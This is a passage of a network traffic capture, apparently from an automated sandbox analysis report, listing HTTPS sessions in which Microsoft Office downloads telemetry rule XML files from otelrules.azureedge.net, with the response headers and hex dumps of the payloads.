2024-10-24 14:05:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 9b0a187b-e01e-0020-61f3-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140540Z-15b8d89586fx2hlt035xdehq580000000eg000000000es49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:40 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:40 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f459058d-801e-0015-12e0-25f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140540Z-16849878b78smng4k6nq15r6s400000000hg00000000h0f2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:41 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f1436c55-a01e-001e-41ef-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140541Z-16849878b785jsrm4477mv3ezn00000007sg00000000atzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:41 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: e014a2e3-501e-0035-060b-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140541Z-16849878b78wx8xv81xhtuunw800000000kg00000000dmas x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:41 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:41 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 74c47345-e01e-00aa-3afd-24ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140541Z-15b8d89586f42m673h1quuee4s0000000370000000008n4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:41 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:41 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 5e9a7b50-e01e-0099-73f4-24da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140541Z-15b8d89586fcvr6p5956n5d0rc00000004ug00000000dqrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49894	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:41 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140541Z-16849878b78k46f8kzwxznephs00000007n000000000kr1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49895	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:42 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:42 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c82cfbdf-e01e-00aa-7097-25ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140542Z-16849878b785dznd7xpawq9gcn00000000kg000000003ezy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:42 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: f9013c52-001e-0079-5ef2-2412e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140542Z-15b8d89586f2hk28h0h6zye26c00000001ng000000006g1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:42 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:42 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 6158f20b-d01e-0028-2cf2-247896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140542Z-r197bdfb6b4ld6jc5asqwvvz0w00000001rg00000000frze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:42 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:42 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:42 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:42 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 44e5e715-301e-001f-6416-24aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140542Z-15b8d89586fs9clcgrr6f2d6vg00000001rg00000000d0eu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:42 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:42 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:42 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: b053902c-001e-0028-05ae-24c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140542Z-15b8d89586fx2hlt035xdehq580000000en0000000005p24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
